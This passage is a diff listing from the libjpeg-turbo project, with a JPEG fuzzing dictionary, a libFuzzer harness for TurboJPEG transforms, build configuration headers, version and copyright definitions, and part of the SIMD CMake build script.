||||
# Common marker segment patterns
|
||||
# ==============================
|
||||
|
||||
# Minimal DQT segment (64-byte table + header)
|
||||
dqt_hdr="\xff\xdb\x00\x43\x00"
|
||||
|
||||
# Minimal DHT segment header
|
||||
dht_hdr="\xff\xc4\x00\x1f\x00"
|
||||
|
||||
# Minimal SOF0 segment header (baseline)
|
||||
sof0_hdr="\xff\xc0\x00\x0b\x08"
|
||||
|
||||
# Minimal SOS segment header
|
||||
sos_hdr="\xff\xda\x00\x08\x01"
|
||||
|
||||
# Typical 3-component SOS
|
||||
sos_3comp="\xff\xda\x00\x0c\x03\x01\x00\x02\x11\x03\x11\x00\x3f\x00"
|
||||
|
||||
# ================
|
||||
# Edge case values
|
||||
# ================
|
||||
|
||||
zero="\x00"
|
||||
one="\x01"
|
||||
max_byte="\xff"
|
||||
mid="\x80"
|
||||
val_7f="\x7f"
|
||||
val_fe="\xfe"
|
||||
|
||||
# Large values (for dimension fuzzing)
|
||||
large_dim="\xff\xff"
|
||||
large_len="\xff\xfe"
|
||||
|
||||
# ===============================
|
||||
# Entropy coding segment patterns
|
||||
# ===============================
|
||||
|
||||
# Common DC coefficient patterns
|
||||
dc_zero="\x00"
|
||||
dc_small="\xf0"
|
||||
|
||||
# EOB (End Of Block) for AC
|
||||
eob="\x00"
|
||||
|
||||
# ZRL (Zero Run Length) - 16 zeros
|
||||
zrl="\xf0"
|
||||
|
||||
# ===========================
|
||||
# JPEG file structure markers
|
||||
# ===========================
|
||||
|
||||
# SOI + APP0 (JFIF header start)
|
||||
soi_app0="\xff\xd8\xff\xe0"
|
||||
|
||||
# Minimal JFIF APP0 segment
|
||||
jfif_app0="\xff\xe0\x00\x10JFIF\x00\x01\x01\x00\x00\x01\x00\x01\x00\x00"
|
||||
|
||||
# SOI + SOF0 (baseline start)
|
||||
soi_sof0="\xff\xd8\xff\xc0"
|
||||
|
||||
# SOI + SOF2 (progressive start)
|
||||
soi_sof2="\xff\xd8\xff\xc2"
|
||||
|
||||
# DQT + SOF sequence
|
||||
dqt_sof="\xff\xdb\xff\xc0"
|
||||
|
||||
# SOF + DHT sequence
|
||||
sof_dht="\xff\xc0\xff\xc4"
|
||||
|
||||
# DHT + SOS sequence
|
||||
dht_sos="\xff\xc4\xff\xda"
|
||||
|
||||
# SOS + EOI (end of scan + End Of Image)
|
||||
sos_eoi="\xff\xda\xff\xd9"
|
||||
|
||||
# ====================
|
||||
# ICC profile patterns
|
||||
# ====================
|
||||
|
||||
icc_sig="ICC_PROFILE\x00\x01\x01"
|
||||
icc_multi_1="ICC_PROFILE\x00\x01\x02"
|
||||
icc_multi_2="ICC_PROFILE\x00\x02\x02"
|
||||
|
||||
# ==========================
|
||||
# Arithmetic coding patterns
|
||||
# ==========================
|
||||
|
||||
arith_cond="\x00\x00"
|
||||
arith_kx="\x00\x05"
|
||||
|
||||
# ====================================
|
||||
# Color transform values (Adobe APP14)
|
||||
# ====================================
|
||||
|
||||
adobe_transform_0="\x00"
|
||||
adobe_transform_1="\x01"
|
||||
adobe_transform_2="\x02"
|
||||
Executable
+186
@@ -0,0 +1,186 @@
|
||||
/*
|
||||
* Copyright (C) 2011, 2021-2026 D. R. Commander. All Rights Reserved.
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without
|
||||
* modification, are permitted provided that the following conditions are met:
|
||||
*
|
||||
* - Redistributions of source code must retain the above copyright notice,
|
||||
* this list of conditions and the following disclaimer.
|
||||
* - Redistributions in binary form must reproduce the above copyright notice,
|
||||
* this list of conditions and the following disclaimer in the documentation
|
||||
* and/or other materials provided with the distribution.
|
||||
* - Neither the name of the libjpeg-turbo Project nor the names of its
|
||||
* contributors may be used to endorse or promote products derived from this
|
||||
* software without specific prior written permission.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS",
|
||||
* AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
|
||||
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
|
||||
* ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS OR CONTRIBUTORS BE
|
||||
* LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
|
||||
* CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
|
||||
* SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
|
||||
* INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
|
||||
* CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
|
||||
* ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
|
||||
* POSSIBILITY OF SUCH DAMAGE.
|
||||
*/
|
||||
|
||||
#include "../src/turbojpeg.h"
|
||||
#include <stdlib.h>
|
||||
#include <stdint.h>
|
||||
#include <string.h>
|
||||
|
||||
|
||||
static int dummyDCTFilter(short *coeffs, tjregion arrayRegion,
|
||||
tjregion planeRegion, int componentIndex,
|
||||
int transformIndex, tjtransform *transform)
|
||||
{
|
||||
int i;
|
||||
|
||||
for (i = 0; i < arrayRegion.w * arrayRegion.h; i++)
|
||||
coeffs[i] = -coeffs[i];
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
extern "C" int LLVMFuzzerTestOneInput(const uint8_t *data, size_t size)
|
||||
{
|
||||
tjhandle handle = NULL;
|
||||
unsigned char *dstBufs[1] = { NULL };
|
||||
size_t dstSizes[1] = { 0 }, maxBufSize, i;
|
||||
int width = 0, height = 0, jpegSubsamp;
|
||||
tjtransform transforms[1];
|
||||
|
||||
if ((handle = tj3Init(TJINIT_TRANSFORM)) == NULL)
|
||||
goto bailout;
|
||||
|
||||
/* We ignore the return value of tj3DecompressHeader(), because malformed
|
||||
JPEG images that might expose issues in libjpeg-turbo might also have
|
||||
header errors that cause tj3DecompressHeader() to fail. */
|
||||
tj3DecompressHeader(handle, data, size);
|
||||
width = tj3Get(handle, TJPARAM_JPEGWIDTH);
|
||||
height = tj3Get(handle, TJPARAM_JPEGHEIGHT);
|
||||
jpegSubsamp = tj3Get(handle, TJPARAM_SUBSAMP);
|
||||
/* Let the transform options dictate the entropy coding algorithm. */
|
||||
tj3Set(handle, TJPARAM_ARITHMETIC, 0);
|
||||
tj3Set(handle, TJPARAM_PROGRESSIVE, 0);
|
||||
tj3Set(handle, TJPARAM_OPTIMIZE, 0);
|
||||
|
||||
/* Ignore 0-pixel images and images larger than 1 Megapixel. Casting width
|
||||
to (uint64_t) prevents integer overflow if width * height > INT_MAX. */
|
||||
if (width < 1 || height < 1 || (uint64_t)width * height > 1048576)
|
||||
goto bailout;
|
||||
|
||||
tj3Set(handle, TJPARAM_SCANLIMIT, 100);
|
||||
|
||||
if (jpegSubsamp < 0 || jpegSubsamp >= TJ_NUMSAMP)
|
||||
jpegSubsamp = TJSAMP_444;
|
||||
|
||||
memset(&transforms[0], 0, sizeof(tjtransform));
|
||||
|
||||
transforms[0].op = TJXOP_NONE;
|
||||
transforms[0].options = TJXOPT_PROGRESSIVE | TJXOPT_COPYNONE;
|
||||
dstSizes[0] = maxBufSize = tj3TransformBufSize(handle, &transforms[0]);
|
||||
if (dstSizes[0] == 0 ||
|
||||
(dstBufs[0] = (unsigned char *)tj3Alloc(dstSizes[0])) == NULL)
|
||||
goto bailout;
|
||||
|
||||
if (size >= 34)
|
||||
tj3SetICCProfile(handle, (unsigned char *)&data[2], 32);
|
||||
|
||||
tj3Set(handle, TJPARAM_NOREALLOC, 1);
|
||||
if (tj3Transform(handle, data, size, 1, dstBufs, dstSizes,
|
||||
transforms) == 0) {
|
||||
/* Touch all of the output data in order to catch uninitialized reads when
|
||||
using MemorySanitizer. */
|
||||
size_t sum = 0;
|
||||
|
||||
for (i = 0; i < dstSizes[0]; i++)
|
||||
sum += dstBufs[0][i];
|
||||
|
||||
/* Prevent the sum above from being optimized out. This test should never
|
||||
be true, but the compiler doesn't know that. */
|
||||
if (sum > 255 * maxBufSize)
|
||||
goto bailout;
|
||||
} else if (!strcmp(tj3GetErrorStr(handle),
|
||||
"Progressive JPEG image has more than 100 scans"))
|
||||
goto bailout;
|
||||
|
||||
|
||||
tj3Free(dstBufs[0]);
|
||||
dstBufs[0] = NULL;
|
||||
|
||||
transforms[0].r.w = (height + 1) / 2;
|
||||
transforms[0].r.h = (width + 1) / 2;
|
||||
transforms[0].op = TJXOP_TRANSPOSE;
|
||||
transforms[0].options = TJXOPT_GRAY | TJXOPT_CROP | TJXOPT_COPYNONE |
|
||||
TJXOPT_OPTIMIZE;
|
||||
dstSizes[0] = maxBufSize = tj3TransformBufSize(handle, &transforms[0]);
|
||||
if (dstSizes[0] == 0 ||
|
||||
(dstBufs[0] = (unsigned char *)tj3Alloc(dstSizes[0])) == NULL)
|
||||
goto bailout;
|
||||
|
||||
if (tj3Transform(handle, data, size, 1, dstBufs, dstSizes,
|
||||
transforms) == 0) {
|
||||
size_t sum = 0;
|
||||
|
||||
for (i = 0; i < dstSizes[0]; i++)
|
||||
sum += dstBufs[0][i];
|
||||
|
||||
if (sum > 255 * maxBufSize)
|
||||
goto bailout;
|
||||
} else if (!strcmp(tj3GetErrorStr(handle),
|
||||
"Progressive JPEG image has more than 100 scans"))
|
||||
goto bailout;
|
||||
|
||||
tj3Free(dstBufs[0]);
|
||||
dstBufs[0] = NULL;
|
||||
|
||||
transforms[0].op = TJXOP_ROT90;
|
||||
transforms[0].options = TJXOPT_TRIM | TJXOPT_ARITHMETIC;
|
||||
dstSizes[0] = maxBufSize = tj3TransformBufSize(handle, &transforms[0]);
|
||||
if (dstSizes[0] == 0 ||
|
||||
(dstBufs[0] = (unsigned char *)tj3Alloc(dstSizes[0])) == NULL)
|
||||
goto bailout;
|
||||
|
||||
if (tj3Transform(handle, data, size, 1, dstBufs, dstSizes,
|
||||
transforms) == 0) {
|
||||
size_t sum = 0;
|
||||
|
||||
for (i = 0; i < dstSizes[0]; i++)
|
||||
sum += dstBufs[0][i];
|
||||
|
||||
if (sum > 255 * maxBufSize)
|
||||
goto bailout;
|
||||
} else if (!strcmp(tj3GetErrorStr(handle),
|
||||
"Progressive JPEG image has more than 100 scans"))
|
||||
goto bailout;
|
||||
|
||||
tj3Free(dstBufs[0]);
|
||||
dstBufs[0] = NULL;
|
||||
|
||||
transforms[0].op = TJXOP_NONE;
|
||||
transforms[0].options = TJXOPT_PROGRESSIVE;
|
||||
transforms[0].customFilter = dummyDCTFilter;
|
||||
dstSizes[0] = 0;
|
||||
|
||||
tj3Set(handle, TJPARAM_NOREALLOC, 0);
|
||||
if (tj3Transform(handle, data, size, 1, dstBufs, dstSizes,
|
||||
transforms) == 0) {
|
||||
size_t sum = 0;
|
||||
|
||||
for (i = 0; i < dstSizes[0]; i++)
|
||||
sum += dstBufs[0][i];
|
||||
|
||||
if (sum > 255 * maxBufSize)
|
||||
goto bailout;
|
||||
} else if (!strcmp(tj3GetErrorStr(handle),
|
||||
"Progressive JPEG image has more than 100 scans"))
|
||||
goto bailout;
|
||||
|
||||
bailout:
|
||||
tj3Free(dstBufs[0]);
|
||||
tj3Destroy(handle);
|
||||
return 0;
|
||||
}
|
||||
Executable
+60
@@ -0,0 +1,60 @@
|
||||
/* Version ID for the JPEG library.
|
||||
* Might be useful for tests like "#if JPEG_LIB_VERSION >= 60".
|
||||
*/
|
||||
#define JPEG_LIB_VERSION 62
|
||||
|
||||
/* libjpeg-turbo version */
|
||||
#define LIBJPEG_TURBO_VERSION 3.1.4
|
||||
|
||||
/* libjpeg-turbo version in integer form */
|
||||
#define LIBJPEG_TURBO_VERSION_NUMBER 3001004
|
||||
|
||||
/* Support arithmetic encoding when using 8-bit samples */
|
||||
#define C_ARITH_CODING_SUPPORTED 1
|
||||
|
||||
/* Support arithmetic decoding when using 8-bit samples */
|
||||
#define D_ARITH_CODING_SUPPORTED 1
|
||||
|
||||
/* Support in-memory source/destination managers */
|
||||
#define MEM_SRCDST_SUPPORTED 1
|
||||
|
||||
/* Use accelerated SIMD routines when using 8-bit samples */
|
||||
#define WITH_SIMD 1
|
||||
|
||||
/* This version of libjpeg-turbo supports run-time selection of data precision,
|
||||
* so BITS_IN_JSAMPLE is no longer used to specify the data precision at build
|
||||
* time. However, some downstream software expects the macro to be defined.
|
||||
* Since 12-bit data precision is an opt-in feature that requires explicitly
|
||||
* calling 12-bit-specific libjpeg API functions and using 12-bit-specific data
|
||||
* types, the unmodified portion of the libjpeg API still behaves as if it were
|
||||
* built for 8-bit precision, and JSAMPLE is still literally an 8-bit data
|
||||
* type. Thus, it is correct to define BITS_IN_JSAMPLE to 8 here.
|
||||
*/
|
||||
#ifndef BITS_IN_JSAMPLE
|
||||
#define BITS_IN_JSAMPLE 8
|
||||
#endif
|
||||
|
||||
#ifdef _WIN32
|
||||
|
||||
#undef RIGHT_SHIFT_IS_UNSIGNED
|
||||
|
||||
/* Define "boolean" as unsigned char, not int, per Windows custom */
|
||||
#ifndef __RPCNDR_H__ /* don't conflict if rpcndr.h already read */
|
||||
typedef unsigned char boolean;
|
||||
#endif
|
||||
#define HAVE_BOOLEAN /* prevent jmorecfg.h from redefining it */
|
||||
|
||||
/* Define "INT32" as int, not long, per Windows custom */
|
||||
#if !(defined(_BASETSD_H_) || defined(_BASETSD_H)) /* don't conflict if basetsd.h already read */
|
||||
typedef short INT16;
|
||||
typedef signed int INT32;
|
||||
#endif
|
||||
#define XMD_H /* prevent jmorecfg.h from redefining it */
|
||||
|
||||
#else
|
||||
|
||||
/* Define if your (broken) compiler shifts signed values as if they were
|
||||
unsigned. */
|
||||
/* #undef RIGHT_SHIFT_IS_UNSIGNED */
|
||||
|
||||
#endif
|
||||
Executable
+76
@@ -0,0 +1,76 @@
|
||||
/* libjpeg-turbo build number */
|
||||
#define BUILD "20260221"
|
||||
|
||||
/* How to hide global symbols. */
|
||||
#define HIDDEN
|
||||
|
||||
/* Compiler's inline keyword */
|
||||
#undef inline
|
||||
|
||||
/* How to obtain function inlining. */
|
||||
#define INLINE __inline__ __attribute__((always_inline))
|
||||
|
||||
/* How to obtain thread-local storage */
|
||||
#define THREAD_LOCAL __thread
|
||||
|
||||
/* Define to the full name of this package. */
|
||||
#define PACKAGE_NAME "libjpeg-turbo"
|
||||
|
||||
/* Version number of package */
|
||||
#define VERSION "3.1.4"
|
||||
|
||||
/* The size of `size_t', as computed by sizeof. */
|
||||
#define SIZEOF_SIZE_T 8
|
||||
|
||||
/* Define if your compiler has __builtin_ctzl() and sizeof(unsigned long) == sizeof(size_t). */
|
||||
/* #undef HAVE_BUILTIN_CTZL */
|
||||
|
||||
/* Define to 1 if you have the <intrin.h> header file. */
|
||||
/* #undef HAVE_INTRIN_H */
|
||||
|
||||
#if defined(_MSC_VER) && defined(HAVE_INTRIN_H)
|
||||
#if (SIZEOF_SIZE_T == 8)
|
||||
#define HAVE_BITSCANFORWARD64
|
||||
#elif (SIZEOF_SIZE_T == 4)
|
||||
#define HAVE_BITSCANFORWARD
|
||||
#endif
|
||||
#endif
|
||||
|
||||
#if defined(__has_attribute)
|
||||
#if __has_attribute(fallthrough)
|
||||
#define FALLTHROUGH __attribute__((fallthrough));
|
||||
#else
|
||||
#define FALLTHROUGH
|
||||
#endif
|
||||
#else
|
||||
#define FALLTHROUGH
|
||||
#endif
|
||||
|
||||
/*
|
||||
* Define BITS_IN_JSAMPLE as either
|
||||
* 8 for 8-bit sample values (the usual setting)
|
||||
* 12 for 12-bit sample values
|
||||
* Only 8 and 12 are legal data precisions for lossy JPEG according to the
|
||||
* JPEG standard, and the IJG code does not support anything else!
|
||||
*/
|
||||
|
||||
#ifndef BITS_IN_JSAMPLE
|
||||
#define BITS_IN_JSAMPLE 8 /* use 8 or 12 */
|
||||
#endif
|
||||
|
||||
#undef C_ARITH_CODING_SUPPORTED
|
||||
#undef D_ARITH_CODING_SUPPORTED
|
||||
#undef WITH_SIMD
|
||||
|
||||
#if BITS_IN_JSAMPLE == 8
|
||||
|
||||
/* Support arithmetic encoding */
|
||||
#define C_ARITH_CODING_SUPPORTED 1
|
||||
|
||||
/* Support arithmetic decoding */
|
||||
#define D_ARITH_CODING_SUPPORTED 1
|
||||
|
||||
/* Use accelerated SIMD routines. */
|
||||
#define WITH_SIMD 1
|
||||
|
||||
#endif
|
||||
Executable
+56
@@ -0,0 +1,56 @@
|
||||
/*
|
||||
* jversion.h
|
||||
*
|
||||
* This file was part of the Independent JPEG Group's software:
|
||||
* Copyright (C) 1991-2020, Thomas G. Lane, Guido Vollbeding.
|
||||
* libjpeg-turbo Modifications:
|
||||
* Copyright (C) 2010, 2012-2026, D. R. Commander.
|
||||
* For conditions of distribution and use, see the accompanying README.ijg
|
||||
* file.
|
||||
*
|
||||
* This file contains software version identification.
|
||||
*/
|
||||
|
||||
|
||||
#if JPEG_LIB_VERSION >= 80
|
||||
|
||||
#define JVERSION "8d 15-Jan-2012"
|
||||
|
||||
#elif JPEG_LIB_VERSION >= 70
|
||||
|
||||
#define JVERSION "7 27-Jun-2009"
|
||||
|
||||
#else
|
||||
|
||||
#define JVERSION "6b 27-Mar-1998"
|
||||
|
||||
#endif
|
||||
|
||||
/*
|
||||
* NOTE: It is our convention to place the authors in the following order:
|
||||
* - libjpeg-turbo authors (2009-) in descending order of the date of their
|
||||
* most recent contribution to the project, then in ascending order of the
|
||||
* date of their first contribution to the project, then in alphabetical
|
||||
* order
|
||||
* - Upstream authors in descending order of the date of the first inclusion of
|
||||
* their code
|
||||
*/
|
||||
|
||||
#define JCOPYRIGHT1 \
|
||||
"Copyright (C) 2009-2026 D. R. Commander\n" \
|
||||
"Copyright (C) 2015-2016, 2018, 2022 Matthieu Darbois\n" \
|
||||
"Copyright (C) 2019-2021 Arm Limited\n" \
|
||||
"Copyright (C) 2015, 2020 Google, Inc.\n" \
|
||||
"Copyright (C) 2011, 2014, 2016 Siarhei Siamashka\n" \
|
||||
"Copyright (C) 2015 Intel Corporation\n"
|
||||
#define JCOPYRIGHT2 \
|
||||
"Copyright (C) 2013-2014 Linaro Limited\n" \
|
||||
"Copyright (C) 2013-2014 MIPS Technologies, Inc.\n" \
|
||||
"Copyright (C) 2009, 2012 Pierre Ossman for Cendio AB\n" \
|
||||
"Copyright (C) 2009-2011 Nokia Corporation and/or its subsidiary(-ies)\n" \
|
||||
"Copyright (C) 1999-2006 MIYASAKA Masaru\n" \
|
||||
"Copyright (C) 1999 Ken Murchison\n" \
|
||||
"Copyright (C) 1991-2020 Thomas G. Lane, Guido Vollbeding\n"
|
||||
|
||||
#define JCOPYRIGHT_SHORT \
|
||||
"Copyright (C) 1991-2026 The libjpeg-turbo Project and many others"
|
||||
Executable
+574
@@ -0,0 +1,574 @@
|
||||
macro(simd_fail message)
|
||||
if(REQUIRE_SIMD)
|
||||
message(FATAL_ERROR "${message}.")
|
||||
else()
|
||||
message(WARNING "${message}. Performance will suffer.")
|
||||
set(WITH_SIMD 0 PARENT_SCOPE)
|
||||
endif()
|
||||
endmacro()
|
||||
|
||||
|
||||
###############################################################################
|
||||
# x86[-64] (NASM)
|
||||
###############################################################################
|
||||
|
||||
if(CPU_TYPE STREQUAL "x86_64" OR CPU_TYPE STREQUAL "i386")
|
||||
|
||||
set(CMAKE_ASM_NASM_FLAGS_DEBUG_INIT "-g")
|
||||
set(CMAKE_ASM_NASM_FLAGS_RELWITHDEBINFO_INIT "-g")
|
||||
|
||||
# Allow the location of the NASM executable to be specified using the ASM_NASM
|
||||
# environment variable. This should happen automatically, but unfortunately
|
||||
# enable_language(ASM_NASM) doesn't parse the ASM_NASM environment variable
|
||||
# until after CMAKE_ASM_NASM_COMPILER has been populated with the results of
|
||||
# searching for NASM or Yasm in the PATH.
|
||||
if(NOT DEFINED CMAKE_ASM_NASM_COMPILER AND DEFINED ENV{ASM_NASM})
|
||||
set(CMAKE_ASM_NASM_COMPILER $ENV{ASM_NASM})
|
||||
endif()
|
||||
|
||||
if(CPU_TYPE STREQUAL "x86_64")
|
||||
if(CYGWIN)
|
||||
set(CMAKE_ASM_NASM_OBJECT_FORMAT win64)
|
||||
endif()
|
||||
if(CMAKE_C_COMPILER_ABI MATCHES "ELF X32")
|
||||
set(CMAKE_ASM_NASM_OBJECT_FORMAT elfx32)
|
||||
endif()
|
||||
elseif(CPU_TYPE STREQUAL "i386")
|
||||
if(BORLAND)
|
||||
set(CMAKE_ASM_NASM_OBJECT_FORMAT obj)
|
||||
elseif(CYGWIN)
|
||||
set(CMAKE_ASM_NASM_OBJECT_FORMAT win32)
|
||||
endif()
|
||||
endif()
|
||||
|
||||
if(NOT REQUIRE_SIMD)
|
||||
include(CheckLanguage)
|
||||
check_language(ASM_NASM)
|
||||
if(NOT CMAKE_ASM_NASM_COMPILER)
|
||||
simd_fail("SIMD extensions disabled: could not find NASM compiler")
|
||||
return()
|
||||
endif()
|
||||
endif()
|
||||
enable_language(ASM_NASM)
|
||||
message(STATUS "CMAKE_ASM_NASM_COMPILER = ${CMAKE_ASM_NASM_COMPILER}")
|
||||
|
||||
if(CMAKE_ASM_NASM_OBJECT_FORMAT MATCHES "^macho")
|
||||
set(CMAKE_ASM_NASM_FLAGS "${CMAKE_ASM_NASM_FLAGS} -DMACHO")
|
||||
elseif(CMAKE_ASM_NASM_OBJECT_FORMAT MATCHES "^elf")
|
||||
set(CMAKE_ASM_NASM_FLAGS "${CMAKE_ASM_NASM_FLAGS} -DELF")
|
||||
set(CMAKE_ASM_NASM_DEBUG_FORMAT "dwarf2")
|
||||
endif()
|
||||
if(CPU_TYPE STREQUAL "x86_64")
|
||||
if(WIN32 OR CYGWIN)
|
||||
set(CMAKE_ASM_NASM_FLAGS "${CMAKE_ASM_NASM_FLAGS} -DWIN64")
|
||||
endif()
|
||||
set(CMAKE_ASM_NASM_FLAGS "${CMAKE_ASM_NASM_FLAGS} -D__x86_64__")
|
||||
elseif(CPU_TYPE STREQUAL "i386")
|
||||
if(BORLAND)
|
||||
set(CMAKE_ASM_NASM_FLAGS "${CMAKE_ASM_NASM_FLAGS} -DOBJ32")
|
||||
elseif(WIN32 OR CYGWIN)
|
||||
set(CMAKE_ASM_NASM_FLAGS "${CMAKE_ASM_NASM_FLAGS} -DWIN32")
|
||||
endif()
|
||||
endif()
|
||||
|
||||
message(STATUS "CMAKE_ASM_NASM_OBJECT_FORMAT = ${CMAKE_ASM_NASM_OBJECT_FORMAT}")
|
||||
|
||||
if(NOT CMAKE_ASM_NASM_OBJECT_FORMAT)
|
||||
simd_fail("SIMD extensions disabled: could not determine NASM object format")
|
||||
return()
|
||||
endif()
|
||||
|
||||
get_filename_component(CMAKE_ASM_NASM_COMPILER_TYPE
|
||||
"${CMAKE_ASM_NASM_COMPILER}" NAME_WE)
|
||||
if(CMAKE_ASM_NASM_COMPILER_TYPE MATCHES "yasm")
|
||||
foreach(var CMAKE_ASM_NASM_FLAGS_DEBUG CMAKE_ASM_NASM_FLAGS_RELWITHDEBINFO)
|
||||
if(${var} STREQUAL "-g")
|
||||
if(CMAKE_ASM_NASM_DEBUG_FORMAT)
|
||||
set_property(CACHE ${var} PROPERTY VALUE "-g ${CMAKE_ASM_NASM_DEBUG_FORMAT}")
|
||||
else()
|
||||
set_property(CACHE ${var} PROPERTY VALUE "")
|
||||
endif()
|
||||
endif()
|
||||
endforeach()
|
||||
endif()
|
||||
|
||||
if(NOT WIN32 AND (CMAKE_POSITION_INDEPENDENT_CODE OR ENABLE_SHARED))
|
||||
set(CMAKE_ASM_NASM_FLAGS "${CMAKE_ASM_NASM_FLAGS} -DPIC")
|
||||
endif()
|
||||
|
||||
if(CPU_TYPE STREQUAL "x86_64" AND CMAKE_ASM_NASM_OBJECT_FORMAT MATCHES "^elf")
|
||||
check_c_source_compiles("
|
||||
#if (__CET__ & 3) == 0
|
||||
#error \"CET not enabled\"
|
||||
#endif
|
||||
int main(void) { return 0; }" HAVE_CET)
|
||||
|
||||
if(HAVE_CET)
|
||||
set(CMAKE_ASM_NASM_FLAGS "${CMAKE_ASM_NASM_FLAGS} -D__CET__")
|
||||
endif()
|
||||
endif()
|
||||
|
||||
string(TOUPPER ${CMAKE_BUILD_TYPE} CMAKE_BUILD_TYPE_UC)
|
||||
set(EFFECTIVE_ASM_NASM_FLAGS "${CMAKE_ASM_NASM_FLAGS} ${CMAKE_ASM_NASM_FLAGS_${CMAKE_BUILD_TYPE_UC}}")
|
||||
message(STATUS "CMAKE_ASM_NASM_FLAGS = ${EFFECTIVE_ASM_NASM_FLAGS}")
|
||||
|
||||
set(CMAKE_ASM_NASM_FLAGS "${CMAKE_ASM_NASM_FLAGS} -I\"${CMAKE_CURRENT_SOURCE_DIR}/nasm/\" -I\"${CMAKE_CURRENT_SOURCE_DIR}/${CPU_TYPE}/\"")
|
||||
|
||||
set(GREP grep)
|
||||
if(CMAKE_SYSTEM_NAME STREQUAL "SunOS")
|
||||
set(GREP ggrep)
|
||||
endif()
|
||||
add_custom_target(jsimdcfg COMMAND
|
||||
${CMAKE_C_COMPILER} -E -I${CMAKE_BINARY_DIR} -I${CMAKE_CURRENT_BINARY_DIR}
|
||||
-I${CMAKE_CURRENT_SOURCE_DIR}
|
||||
${CMAKE_CURRENT_SOURCE_DIR}/nasm/jsimdcfg.inc.h |
|
||||
${GREP} -E '^[\;%]|^\ %' | sed 's%_cpp_protection_%%' |
|
||||
sed 's@% define@%define@g' >${CMAKE_CURRENT_SOURCE_DIR}/nasm/jsimdcfg.inc)
|
||||
|
||||
if(CPU_TYPE STREQUAL "x86_64")
|
||||
set(SIMD_SOURCES x86_64/jsimdcpu.asm x86_64/jfdctflt-sse.asm
|
||||
x86_64/jccolor-sse2.asm x86_64/jcgray-sse2.asm x86_64/jchuff-sse2.asm
|
||||
x86_64/jcphuff-sse2.asm x86_64/jcsample-sse2.asm x86_64/jdcolor-sse2.asm
|
||||
x86_64/jdmerge-sse2.asm x86_64/jdsample-sse2.asm x86_64/jfdctfst-sse2.asm
|
||||
x86_64/jfdctint-sse2.asm x86_64/jidctflt-sse2.asm x86_64/jidctfst-sse2.asm
|
||||
x86_64/jidctint-sse2.asm x86_64/jidctred-sse2.asm x86_64/jquantf-sse2.asm
|
||||
x86_64/jquanti-sse2.asm
|
||||
x86_64/jccolor-avx2.asm x86_64/jcgray-avx2.asm x86_64/jcsample-avx2.asm
|
||||
x86_64/jdcolor-avx2.asm x86_64/jdmerge-avx2.asm x86_64/jdsample-avx2.asm
|
||||
x86_64/jfdctint-avx2.asm x86_64/jidctint-avx2.asm x86_64/jquanti-avx2.asm)
|
||||
else()
|
||||
set(SIMD_SOURCES i386/jsimdcpu.asm i386/jfdctflt-3dn.asm
|
||||
i386/jidctflt-3dn.asm i386/jquant-3dn.asm
|
||||
i386/jccolor-mmx.asm i386/jcgray-mmx.asm i386/jcsample-mmx.asm
|
||||
i386/jdcolor-mmx.asm i386/jdmerge-mmx.asm i386/jdsample-mmx.asm
|
||||
i386/jfdctfst-mmx.asm i386/jfdctint-mmx.asm i386/jidctfst-mmx.asm
|
||||
i386/jidctint-mmx.asm i386/jidctred-mmx.asm i386/jquant-mmx.asm
|
||||
i386/jfdctflt-sse.asm i386/jidctflt-sse.asm i386/jquant-sse.asm
|
||||
i386/jccolor-sse2.asm i386/jcgray-sse2.asm i386/jchuff-sse2.asm
|
||||
i386/jcphuff-sse2.asm i386/jcsample-sse2.asm i386/jdcolor-sse2.asm
|
||||
i386/jdmerge-sse2.asm i386/jdsample-sse2.asm i386/jfdctfst-sse2.asm
|
||||
i386/jfdctint-sse2.asm i386/jidctflt-sse2.asm i386/jidctfst-sse2.asm
|
||||
i386/jidctint-sse2.asm i386/jidctred-sse2.asm i386/jquantf-sse2.asm
|
||||
i386/jquanti-sse2.asm
|
||||
i386/jccolor-avx2.asm i386/jcgray-avx2.asm i386/jcsample-avx2.asm
|
||||
i386/jdcolor-avx2.asm i386/jdmerge-avx2.asm i386/jdsample-avx2.asm
|
||||
i386/jfdctint-avx2.asm i386/jidctint-avx2.asm i386/jquanti-avx2.asm)
|
||||
endif()
|
||||
|
||||
if(MSVC_IDE)
|
||||
set(OBJDIR "${CMAKE_CURRENT_BINARY_DIR}/${CMAKE_CFG_INTDIR}")
|
||||
string(REGEX REPLACE " " ";" CMAKE_ASM_NASM_FLAGS "${CMAKE_ASM_NASM_FLAGS}")
|
||||
elseif(XCODE)
|
||||
set(OBJDIR "${CMAKE_CURRENT_BINARY_DIR}")
|
||||
string(REGEX REPLACE " " ";" CMAKE_ASM_NASM_FLAGS "${CMAKE_ASM_NASM_FLAGS}")
|
||||
endif()
|
||||
|
||||
file(GLOB INC_FILES nasm/*.inc)
|
||||
|
||||
foreach(file ${SIMD_SOURCES})
|
||||
set(OBJECT_DEPENDS "")
|
||||
if(${file} MATCHES jccolor)
|
||||
string(REGEX REPLACE "jccolor" "jccolext" DEPFILE ${file})
|
||||
set(OBJECT_DEPENDS ${OBJECT_DEPENDS}
|
||||
${CMAKE_CURRENT_SOURCE_DIR}/${DEPFILE})
|
||||
endif()
|
||||
if(${file} MATCHES jcgray)
|
||||
string(REGEX REPLACE "jcgray" "jcgryext" DEPFILE ${file})
|
||||
set(OBJECT_DEPENDS ${OBJECT_DEPENDS}
|
||||
${CMAKE_CURRENT_SOURCE_DIR}/${DEPFILE})
|
||||
endif()
|
||||
if(${file} MATCHES jdcolor)
|
||||
string(REGEX REPLACE "jdcolor" "jdcolext" DEPFILE ${file})
|
||||
set(OBJECT_DEPENDS ${OBJECT_DEPENDS}
|
||||
